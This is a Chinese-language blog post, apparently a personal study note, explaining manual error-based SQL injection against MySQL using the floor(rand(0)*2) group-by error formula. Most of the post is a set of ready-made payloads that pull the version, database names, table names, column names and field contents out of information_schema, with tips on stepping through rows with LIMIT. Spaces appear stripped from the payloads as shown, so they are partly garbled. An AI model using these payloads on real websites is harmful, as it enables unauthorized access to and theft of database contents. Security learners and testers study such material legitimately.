mysql手动注入

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。


总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

公式具体如下

and(select1from(selectcount(*),concat((select(select(selectconcat(0x7e,version(),0x7e)))frominformation_schema.tables limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)

我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式


搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

汇总如下:

1、暴数据库:

and(select1from(selectcount(*),concat((select(select(selectconcat(0x7e,schema_name,0x7e)))frominformation_schema.schemata  limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)


2、暴数据表:

and(select1from(selectcount(*),concat((select(select(selectconcat(0x7e,table_name,0x7e)))frominformation_schema.tableswheretable_schema=库名的十六进制  limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)


3、暴列名:

and(select1from(selectcount(*),concat((select(select(selectconcat(0x7e,column_name,0x7e)))frominformation_schema.columnswheretable_schema=0x7365637572697479andtable_name=0x7573657273limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)


4、暴字段:

and(select1from(selectcount(*),concat((select(select(selectconcat(0x7e,字段名,0x7e)))from库名.表名 limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容